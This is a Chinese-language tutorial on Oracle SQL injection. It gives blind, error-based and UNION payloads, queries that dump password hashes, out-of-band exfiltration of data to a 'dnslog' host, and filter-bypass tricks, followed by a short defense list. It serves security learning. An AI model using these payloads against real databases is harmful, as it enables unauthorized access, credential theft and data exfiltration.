关于学习Oracle注入
字数 1559 2025-08-25 22:59:02
Oracle注入技术全面指南
一、Oracle数据库基础
1.1 Oracle数据库架构
Oracle Database(Oracle RDBMS)是甲骨文公司开发的关系数据库管理系统,具有高度可移植性和可靠性。
核心概念:
- 数据库(Database):相当于一个大仓库
- Schema:库房,一个Schema就是一个库房
- Table:货架,数据存储的基本单位
- User:每个Schema的管理人员
实例与数据库关系:
- 实例(Instance) = 进程 + 进程所使用的内存(SGA)
- 实例是临时性的,数据库是永久性的
- 一个数据库可对应多个实例,一个实例只能对应一个数据库
1.2 Oracle数据结构
逻辑结构:
表空间 → 段 → 区 → 块
物理结构:
数据文件(.DBF)组成表空间,多个表空间和相关文件形成完整数据库
主要表空间:
- SYSTEM:数据字典、系统表和管理配置
- SYSAUX:辅助表空间,减轻SYSTEM负载
- TEMP:临时运算空间
- UNDOTBS:事务回退表空间
- USERS:存放应用系统数据库对象
- EXAMPLE:实例相关数据
1.3 权限与用户
权限等级:
- DBA:最高权限,可创建数据库结构
- RESOURCE:可创建实体,不可创建数据库结构
- CONNECT:仅可登录Oracle
默认用户:
- sys
- system
- public
二、Oracle基础语法
2.1 特殊语法规则
-
查询必须指定表名,无表时使用
dual虚拟表SELECT * FROM dual; -
空字符串
''等同于NULL -
字符串拼接使用
||SELECT 'a'||'b' FROM dual; -- 结果为'ab' -
分页限制使用
rownumSELECT * FROM pyy WHERE rownum = 1; -
注释:
- 单行:
-- - 多行:
/* */
- 单行:
2.2 系统表
dba_tables:所有表信息(需DBA权限)all_tables:当前用户有权限的表user_tables:当前用户拥有的表DBA_ALL_TABLES:DBA用户拥有的或有访问权限的对象和表ALL_ALL_TABLES:用户拥有的或有访问权限的对象和表USER_ALL_TABLES:用户拥有的对象和表
关系:DBA_TABLES >= ALL_TABLES >= USER_TABLES
三、Oracle注入技术
3.1 信息收集
数据库版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
当前数据库:
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
用户信息:
SELECT user FROM dual; -- 当前用户
SELECT username FROM all_users ORDER BY username; -- 所有用户
SELECT name FROM sys.user$; -- 所有用户(priv权限)
密码哈希:
SELECT name, password, astatus FROM sys.user$; -- <=10g
SELECT name, spare4 FROM sys.user$; -- >=11g
权限信息:
SELECT * FROM session_privs; -- 当前用户权限
SELECT * FROM dba_sys_privs; -- 所有用户权限(priv)
主机信息:
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- IP
3.2 注入类型
3.2.1 盲注
布尔盲注:
-- 方法1:substr比较
http://127.0.0.1/oracle?id=99' and (select substr(user,1,1) from dual)='O' -- +
-- 方法2:decode函数+除0
http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user,1,1),'O',(1/1),0) from dual) -- +
-- 方法3:instr函数
?username=user'and 1=(instr((select user from dual),'ADMIN')) --
时间盲注:
-- 方法1:DBMS_PIPE.RECEIVE_MESSAGE
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo',REPLACE((SELECT substr(user,1,1) FROM dual),'O',10))=1;
-- 方法2:decode+时间延迟
select decode(substr(user,1,1),'O',dbms_pipe.receive_message('olo',10),0) from dual;
-- 方法3:大数据量查询
select count(*) from all_objects
3.2.2 报错注入
-
utl_inaddr.get_host_name
select utl_inaddr.get_host_name((select user from dual)) from dual;- 11g前无需权限,11g后需网络访问权限
-
ctxsys.drithsx.sn
select ctxsys.drithsx.sn(1,(select user from dual)) from dual; -
CTXSYS.CTX_REPORT.TOKEN_TYPE
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual),'123') from dual; -
XMLType
select XMLType('<:'||(select user from dual)||'>') from dual;- 必须以
<:开头和>结尾
- 必须以
-
dbms_xdb_version系列
select dbms_xdb_version.checkin((select user from dual)) from dual; select dbms_xdb_version.makeversioned((select user from dual)) from dual; select dbms_xdb_version.uncheckout((select user from dual)) from dual; -
其他报错函数
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual; select ordsys.ord_dicom.getmappingxpath((select user from dual),1,1) from dual; select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
3.2.3 联合注入
步骤:
-
判断列数
?id=-1' order by 10 -- -
使用null占位
?id=-1' union select null,null,null,null,null,null,null,null,null,null from dual -- -
获取数据库信息(参考3.1)
-
爆库名
?id=99' union select null,null,null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual -- -
爆表名
?id=99' union select null,null,null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual -- -
爆列名
?id=99' union select null,null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --
3.3 带外通道(OOB)注入
方法1:utl_http.request
select utl_http.request('dnslog'||(select user from dual)) from dual;
方法2:utl_inaddr.get_host_address
select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dual;
方法3:SYS.DBMS_LDAP.INIT
SELECT DBMS_LDAP.INIT(('dnslog',80) FROM DUAL;
方法4:HTTPURITYPE
SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;
四、绕过技巧
-
编码绕过
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw("abcdef")) FROM dual; -- 编码 SELECT rawtohex('abcdef') FROM dual; -- 解码 -
空格替代
SELECT%0a1%0aFROM%0adual; -- \n换行 SELECT%0b1%0bFROM%0bdual; -- tab替换 SELECT%0c1%0cFROM%0cdual; -- \r回车 SELECT/**/1/**/FROM/**/dual; -- 多行注释 SELECT--%0a1--%0aFROM--%0adual; -- 单行注释+换行 SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; -- 内联注释 -
ORDER BY注入
- 使用极大字段数引发报错
- 使用算术表达式如1/0
- 使用函数组合:
decode(1,1,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#false decode(1,2,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#true
五、防御建议
- 使用参数化查询
- 最小权限原则,限制数据库用户权限
- 禁用不必要的函数和包(如UTL_HTTP)
- 对输入进行严格过滤和验证
- 定期更新Oracle补丁
- 监控异常数据库请求
本指南涵盖了Oracle注入的核心技术点,从基础概念到高级注入技术,以及相应的绕过方法和防御建议,为安全研究人员提供了全面的参考。